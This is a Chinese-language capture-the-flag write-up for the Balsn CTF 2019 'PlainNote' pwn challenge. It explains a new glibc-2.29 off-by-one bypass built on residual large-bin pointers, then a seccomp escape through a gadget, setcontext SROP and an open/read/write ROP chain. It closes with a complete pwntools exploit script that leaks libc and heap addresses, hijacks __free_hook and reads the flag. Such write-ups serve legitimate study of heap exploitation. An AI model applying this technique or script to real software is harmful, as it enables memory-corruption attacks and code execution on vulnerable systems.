Balsn CTF 2019 pwn PlainText - glibc-2.29 off by one pypass

真心不错的题目,这题引出了 glibc-2.29 off by one 的全新绕过方法,比赛时仅有RPISEC战队做出来了,赛后我询问了该战队思路,并对其完成复现。

源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/balsn_ctf_2019/pwn/PlainNote

致谢

首先,非常感谢RPISEC战队的Jack Dates所提供的思路,没有这个思路恐怕我还在思考怎么绕过prevsize check

Jack Dates

漏洞

明显的 off off one,难点在于环境是glibc-2.29,由于其增加了新的检查,原先的方法都将失效。

void __cdecl add()
{
  _BYTE *v0; // rbx
  unsigned int i; // [rsp+8h] [rbp-18h]
  unsigned int size; // [rsp+Ch] [rbp-14h]

  for ( i = 0; i <= 0xFF && note[i]; ++i )
    ;
  myprintf("Size: ");
  size = read_int();
  note[i] = malloc(size);
  myprintf("Content: ");
  if ( note[i] )
  {
    v0 = note[i];
    v0[read(0, note[i], size)] = 0;
  }
}

主要失效原因是:glibc 在 unlink 的关键点都加上了 prevsize check,而我们根本无法直接修改正常chunk的size,导致想要 unlink 变得几乎不可能。

if (__glibc_unlikely (chunksize(p) != prevsize))
  malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);

思路

正如 Jack Dates 所提供的思路,我们不需要绞尽脑汁的去思考如何绕过 prevsize check,我们只需要利用 large bin 的残留指针再结合堆的恰当布局,则能构造出一个fake chunk,后面我将其称作fake_chunk_B

主要原理就是利用残余在 large bin 上的 fd_nextsize / bk_nextsize 指针。首先,我们拿回 large bin,后面我将其称作chunk_A,而 fake_chunk_B 就是 chunk_A + 0x10,在chunk_A 的 bk 位置上写好size,fd先不管,然后部分覆盖chunk_A 的 fd_nextsize 到一个我们可以控制其 bk 的 chunk上(比如从 small bin 或者 unsorted bin 中拿出的chunk,如果其bin中有多个chunk的话,那么拿出来的chunk的bk上必定残留了heap指针,我们可以通过部分覆盖使其指向 fake chunk,以便绕过unlink 检查),由于 chunk_A 的 bk_nextsize 我们并没对其修改,所以其指向的是 chunk_A 本身,为了绕过 unlink 检查( p->fd->bk == p && p->bk->fd == p),我们需要将这个该 fake_chunk_B 的 bk 指向其本身,也就是 chunk_A 的 fd 指向chunk_A + 0x10 并且不能修改已经保存好的其他数据,原本我们可以利用 tcache 的链表特性来完成这一操作,奈何 glibc-2.29的tcache会对 bk 也进行修改,那么则会直接改掉 fake_chunk_B 的 szie,导致unlink失败,但是我们任然可以利用 fastbin 的链表特性来完成这一操作,在chunk_A上写好heap地址后,在进行部分覆盖使其指向chunk_A + 0x10,则这样就能绕过 glibc-2.29 的检查。

由于最后一个字节总是有'\0'填充,所以我们需要爆破0x..........00..(点为任意十六进制)这样的heap地址。综上所诉该攻击方式的概率是 1/16

沙箱绕过

__int64 init()
{
  __int64 v0; // ST08_8

  v0 = seccomp_init(0LL);
  seccomp_rule_add(v0, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 60LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 231LL, 0LL);
  return seccomp_load(v0);
}

由于沙箱是白名单的形式,我们只能利用特定的系统的调用的来拿flag,而且printfputs这类的函数都不能使用,还有setcontext函数也并不能正常使用,因为其中使用了sys_rt_sigprocmask

setcontext函数汇编如下:

.text:0000000000055E00                 public setcontext ; weak
.text:0000000000055E00 setcontext      proc near               ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00                                         ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h]
.text:0000000000055E08                 xor     edx, edx
.text:0000000000055E0A                 mov     edi, 2
.text:0000000000055E0F                 mov     r10d, 8
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; $!
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E7D                 xor     eax, eax
.text:0000000000055E7F                 retn

原本在 glibc-2.27 的话,参数直接是rdi,而不会像这里这样转换到rdx,导致不可以直接利用。

通过仔细观察gadgets,找到了一条非常好用的 gadget:mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

我们可以利用该 gadget 修改 rdx 的值,然后在配合 setcontext 进行 SROP 劫持rsp到heap上,然后在进行ROP将flag读出即可。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './note'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    def pr
        x/128gx $rebase(0x202040)
        end
    b free
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def add(size, content):
    sh.sendlineafter(': ', '1')
    sh.sendlineafter(': ', str(size))
    sh.sendafter(': ', content)

def delete(index):
    sh.sendlineafter(': ', '2')
    sh.sendlineafter(': ', str(index))

def show(index):
    sh.sendlineafter(': ', '3')
    sh.sendlineafter(': ', str(index))

add(0x418, '\n')
add(0x58, '\n')
add(0x178, '\n')
add(0x158, '\n')
add(0x18, '\n')
for i in range(12):
    add(0x18, '\n')
for i in range(7 + 3):
    add(0x38, '\n')
for i in range(7 + 4):
    add(0x68, '\n')

for i in range(7): # 38
    add(0x28, '\n')

add(0x868, '\n') # 45
add(0x5e0, '\n')
add(0x18, '\n')
delete(46)
add(0x618, '\n')
add(0x28, 'a' * 8 + p64(0xe1) + p8(0x90)) # 48
add(0x28, '\n')
add(0x28, '\n')
add(0x28, '\n')
add(0x28, '\n')
for i in range(7):
    delete(i + 38)

delete(49)
delete(51)

for i in range(7):
    add(0x28, '\n')

add(0x618, '\n')
add(0x28, 'b' * 8 + p8(0x10))
add(0x28, '\x03')

for i in range(7):
    delete(i + 38)

delete(52)
delete(48)

for i in range(7):
    add(0x28, '\n')

add(0x28, p8(0x10))
add(0x28, 'c' * 0x20 + p64(0xe0))

add(0x4f8, '\n')
delete(54)

context.log_level = 'debug'

add(0x18, '\n')
show(53)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - 0x1e4ca0
log.success('libc_addr: ' + hex(libc_addr))

add(0x38, '\n')
delete(17) # size: 0x38
delete(55)
show(53)
result = sh.recvuntil('\n', drop=True)
heap_addr = u64(result.ljust(8, '\0')) - 0x1270
log.success('heap_addr: ' + hex(heap_addr))

add(0x18, '\n')
delete(17)
delete(50)
add(0x28, p64(0) + p64(0x31)  + p64(libc_addr + libc.symbols['__free_hook']))
add(0x18, '\n')

# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; 
add(0x18, p64(libc_addr + 0x000000000012be97))

frame = SigreturnFrame()
frame.rdi = heap_addr + 0x30a0 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x30a0 + 0x100
frame.rip = libc_addr + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)

str_frame = str(frame)
payload = p64(libc_addr + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x30a0) + str_frame[0x10:]

layout = [
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    2,
    # sys_open("./flag", 0)
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    3, # maybe it is 2
    libc_addr + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_addr + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    0,
    # sys_read(flag_fd, heap, 0x100)
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    1,
    libc_addr + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_addr + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    1,
    # sys_write(1, heap, 0x100)
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    0,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    231,
    # exit(0)
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 
]
payload = payload.ljust(0x100, '\0') + flat(layout)
payload = payload.ljust(0x200, '\0') + './flag'
add(0x300, payload)
delete(56)

sh.interactive()
clear()